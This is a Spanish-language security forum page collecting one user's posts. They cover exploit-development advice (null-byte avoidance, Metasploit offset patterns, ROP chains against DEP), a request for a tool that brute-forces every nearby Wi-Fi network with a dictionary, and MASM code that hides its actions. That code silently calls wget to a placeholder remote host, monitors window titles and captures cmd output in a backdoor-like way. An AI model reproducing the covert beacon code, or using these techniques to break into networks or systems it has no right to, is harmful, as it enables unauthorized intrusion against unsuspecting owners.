Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - .:UND3R:.

#341
El precio es mucho más barato de lo que dices mira acá:
https://store.license-solutions.com/14_10_17-otras/41-ufiw-vpn.html?sid=22da9413f60d285fc3843465dc3998c1

Ahora si no tienes interés de aprender entonces solo compra, si no bienvenido sea el querer aprender  ;-)
#342
Eso valores para restas es una especie de truco me explico, ya que strcpy termina de copiar hasta que que se encuentre un byte nulo, las direcciones que contengan byte nulos cortarán la cadena del exploit, puedes hace la prueba haciendo un desbordamiento que en vez de A (\x41) utiliza 0 y verás que no podrás explotar el fallo debido a la forma en que funciona strcpy, ahora en cuanto a lo de sumar y restar es algo que se me ocurrió para solucionar lo de los bytes nulos, te dejo la idea de como debería ser pero no se puede por los bytes nulos:

POP EAX
0x0040105E

Como vez la cadena se cortaría inmediatamente y todo lo que venga a continuación 0x00 no se copiará en el stack por lo cual tienes que inventar una forma de tener ese valor en un registro sin que hayan bytes nulos, aquí algunos ejemplos:

POP EAX
0x1151216F    ; 0x0040105E + 0x11111111

Pondrás la dirección 0x1151216F inservible para el exploit en el registro, pero ya cumpliste el objetivo de aludir los bytes nulos, ahora quedaría transformar ese valor inservible para el exploit para que tenga la dirección que necesitamos llamar es decir restar 0x11111111 a EAX (operación inversa):

SUB EAX,0x11111111

lo cual dará como resultado 0x0040105E la dirección que necesitamos ya en el los registros de propósitos general de 32 bit sin cortar el exploit.

¿Se entiende?

Si no entiendes, puedo seguir explicando, no hay problemas

EDIT:
- Para calcular el valor es una operación inversa, solo busqué un ADD r32,CONST en ollydbg y encontré una constante de 8 bytes ya que si fuese menos habría bytes nulos, entonces tomé el valor que quiero calcular y le resté la constante.

- Para saber la cantidad de bytes que provocan el desborde simplemente usas un generate pattern no sé como se dirá en español pero metasploit dispone de uno:

CitarMetasploit (version 3.0+) has a tool for both:
1) to generate the string pattern (tools/pattern_create.rb)
2) to find the offset of the required pattern (tools/pattern_offset.rb)

Pero también está en perl, muy sencillo mira:
https://securitythoughts.wordpress.com/2010/03/18/tool-unique-pattern-generator-for-exploit-development/

También está la opción comando PC length dentro del plugins mona (python) para inmunity debugger

Saludos
#343
Hacking Wireless / Re: Brute force Wifi?
23 Enero 2015, 22:48 PM
Cita de: vk496 en 23 Enero 2015, 21:55 PM
Las redes WiFi que escaneas no son como un texto plano al que puedes acceder y crackear masivamente sin tener en cuenta su cifrado...

Salu2

eso lo entiendo perfectamente por eso mi duda si es que existe una aplicación o bash que intente obtener la password de los AP a través de fuerza bruta, si algo similar lo intentaría de modificar para que cumple mi cometido.

Saludos

Cita de: DonVidela en 23 Enero 2015, 20:38 PM
Estas desde linux? que sabor? XD

TIenes ya instalado el aircrack? sabes poner la interfaz en modo monitor?

Cuentame lo que sabes y vemos por donde empezamos.

Mi idea es más menos esta:

Mi Wifi encontró:
hola_wifi
linksys

y en esas dos que encontró intente acceder con el diccionario /root/Desktop/diccionario.txt
si se logra ingresar que almacene la clave

luego me muevo y el wifi encontró:
casa123

y que ahora con casa123 intente acceder con el diccionario y que realice la misma acción.

No sé si se entienda
#344
Seguridad / Re: un ransomware un poco especial
23 Enero 2015, 16:09 PM
a ver a ver que pelea jajaja... Ahora mi teoría

1.- ¿Quien cifró los archivos?
R: El malware

2.- ¿Donde se encuentra el malware?
R: En un ejecutable que en su momento estuvo en memoria.

3.- ¿Cómo cifró el archivo?
R: Con una llave

4.- ¿Donde está la llave?
R: En el ejecuatble

Se podría analizar el malware para detectar la clave que buscas
¿Funcionaría?
#345
Hacking Wireless / Brute force Wifi?
23 Enero 2015, 15:53 PM
Hola a todos, estoy buscando algo que me permita hacer un scan de todas las redes visibles de mi ordenador y que pruebe con un diccionario, no pretendo crackear la clave ya sea por la debilidad del protocolo de cifrado WEP (aircrack-ng) o WPA2/WPS (reaver)

No sé si se entiende, espero su ayuda, saludos :D
#346
ASM / Leer salida de un comando en MASM
23 Enero 2015, 08:42 AM
Hola a todos me gustaría saber como puedo leer la salida de un comando ejecutado en la consola, me explico:

Mi programa -> Lanza el comando cmd.exe -> el programa recibe en un buffer lo que mostró es decir:
CitarMicrosoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Tengo el siguiente código, solo tomen importancia en donde he comentado:
Código (asm) [Seleccionar]

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\shlwapi.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\shlwapi.lib

.const

.data
lpString2 byte "NOTE",0
lpCmdLine1 byte "wget.exe http://www.pagina.com/new.php?start=yes&key=111022212 --delete-after",0
lpCmdLine2 byte "wget.exe http://www.pagina.com/register.php?key=1093211 --delete-after",0
lpCmdLine3 byte "cmd",0
lpCmdLine4 byte 100 dup(?)
lpCmdLine4_size byte ?

.data?
lpString byte 80 dup(?)
hWnd HANDLE ?
lpOut byte 40 dup(?)

sinfo STARTUPINFO <>
pinfo PROCESS_INFORMATION <>
sattb SECURITY_ATTRIBUTES <>

hReadPipeOut HANDLE ?
hWritePipeOut HANDLE ?
.code
main PROC
invoke Sleep,20000d
invoke WinExec,addr lpCmdLine1,SW_HIDE
bucle:
.WHILE(TRUE)
invoke Sleep,3000d
invoke GetForegroundWindow
mov hWnd,eax
.IF hWnd!=NULL
invoke GetWindowText,eax,addr lpString, sizeof lpString
mov edi,offset lpString
mov eax,dword ptr ds:[lpString2]
mov ecx,lengthof lpString
cld
repne scasb
jnz bucle
dec edi
mov edi,dword ptr ds:[edi]
cmp eax,edi
jnz bucle
invoke WinExec,addr lpCmdLine2,SW_HIDE
; ---AQUI LO QUE ESTOY INTENTANDO REALIZAR---
mov sattb.nLength,sizeof sattb
mov sattb.bInheritHandle,TRUE
mov sattb.lpSecurityDescriptor,NULL
invoke CreatePipe,addr hReadPipeOut,addr hWritePipeOut,addr sattb,0

invoke SetHandleInformation,hReadPipeOut,HANDLE_FLAG_INHERIT,NULL

mov eax,hReadPipeOut

mov sinfo.cb,sizeof sinfo
mov sinfo.dwFlags,STARTF_USESTDHANDLES
mov sinfo.hStdOutput,eax
mov sinfo.hStdOutput,eax
mov sinfo.hStdError,eax
invoke CreateProcess,NULL,addr lpCmdLine3,NULL,NULL,TRUE,0,NULL,NULL,addr sinfo,addr pinfo

invoke ReadFile,hReadPipeOut,addr lpCmdLine4,sizeof lpCmdLine4,addr lpCmdLine4_size,NULL
; ------ FIN DE LO QUE ESTOY INTENTANDO REALIZAR -----
invoke Sleep,1200000d
.ENDIF
.ENDW
main ENDP
END main


Problema: Luego de llamar a ReadFile nunca retorna y su buffer no contiene la salida de cmd.

A ver si me ayudan, saludos
#347
Te recomiendo usar OllySubScript es un IDE (notepad con colores) que te permite crear este tipo de script y de forma muy cómoda adicionando que se incluye una lista con los comandos disponibles y con ejemplos, es muy sencillo con este IDE, saludos.
#348
Me atrapaste jajajjaja pero dame un poco de tiempo e intentaré reforzar de un libro, por cierto no tengo nada que decir con respecto a Python, mis respetos  ;-)
#349
Cita de: MCKSys Argentina en 22 Enero 2015, 02:10 AM
Hola!

Te recomiendo comenzar por aqui.

Saludos!

PD:
La magia no existe...  :P

O sea me estás diciendo que harry potter no es real?  :laugh:
#350
Cita de: harry_the_blogger en 21 Enero 2015, 01:11 AM
Gracias UND3R.

Oye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???

Lo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

Me estaré leyendo la documentacion de perl para entender bien el exploit.

Ah, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.

Ah, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???

Gracias a todos por su ayuda.

CitarOye, y esos valores son indepedientes de la máquina o hay que recalcularlos??? Y esos de ROPs hay que sacarlos de nuevo???
R: Si te refieres con valores a los address/direcciones esto depende de algunos factores:
Escenario caso ideal (sin ningún tipo de protección).
- Si el address se encuentra dentro del ejecutable (módulo cargado o ejecutable mismo) no deberías cambiarlo.
- Si el address es del sistema, deberías cambiarlo ya que los módulos del sistema varían de acuerdo al idioma, sp del sistema.

Escenario caso real (protecciones).
- En este caso deberías cambiar prácticamente todo, ya que si existe ASLR las direcciones variarán cada vez que arranque el sistema (aunque las DLL utilizadas no poseían la protección ASLR por lo cual el sistema no debería cambiar su base address).




CitarLo probé y no salió como sale en tu captura de pantalla. ¿Que he podido hacer mal??? Disculpen por hacer tantas preguntas, es que soy nuevo en esto de exploits y no he podido avanzar mucho.

R: Mira en cada address coloqué lo que hace cada instrucción con comentarios, ya que la idea del ROP (programación orientada al retorno) es evitar DEP el cual no permite ejecutar código en ciertos lugares del ejecutable como lo es el heap o el stack (Poner EIP con JMP ESP y ejecutar código en el stack). En palabras simples debes tomar las direcciones y buscarlas en el depurador, si están en tu sistema y pose la misma secuencia de instrucciones que puse comentadas es por que está bien y debería funcionar, ahora si no son las mismas instrucciones deberás localizar las instrucciones con algún script (puedes usar mona, un script en python para inmunity debugger).
Por cierto yo hace un tiempo atrás hice un script para OllyScript (plugins de OllyDbg) si quieres lo puedo publicar.




CitarAh, otra pregunta: ¿Por que siempre los exploits los hacen en Perl o en Python?? ¿Cual de los dos es mejor?? Yo por lo menos prefiero Perl, aunque si hay otro mejor me cambio.
R: Quizás por comodidad ya que Perl y Python al ser lenguajes intérpretes ahorras tiempo, imagínate tener que estar compilando cada vez que intentas hacer funcionar el exploit, por ejemplo yo habré intentado ejecutar el exploit unas 50 o 60 veces como mínimo, hazte la idea, ahora cual es mejor, mmmm depende de cual se te acomode más a mi se me hace muy sencillo perl, no manejo python aunque se ve bonito con sus identación.




CitarAh, y mi XP pareciera no tener DEP. ¿Eso es malo?? Sé que en un entorno real debería estar, pero como estoy aprendiendo no afecta, verdad???
R:Mmm depende del punto de vista, si eres la víctima es recomendable tener DEP activado, si eres el atacante es recomendable que el sistema tenga DEP desactivado, en cuanto si afecta, si el exploit está diseñado para evadir DEP es decir utilizar secuencia de ROPs entonces independiente de que DEP esté activado o no NO afecta. Esto se explica por que DEP a simples rasgos marca zonas del ejecutable como no permitidas para ejecutar código como por ejemplo HEAP y STACK entonces el exploit que no evade el DEP saltará al stack y ejecutará la shellcode o payload entonces al intentar ejecutar código en una zona no permita, se generará una excepción irrecuperable, por eso la invención de las cadenas ROPs que si te fijas solo se encargan de ejecutar instrucciones ya existentes las cuales se encuentran en zonas permitidas para ejecutar y siempre terminan con un ret ya que siempre estarán volviendo a la siguiente cadena del stack.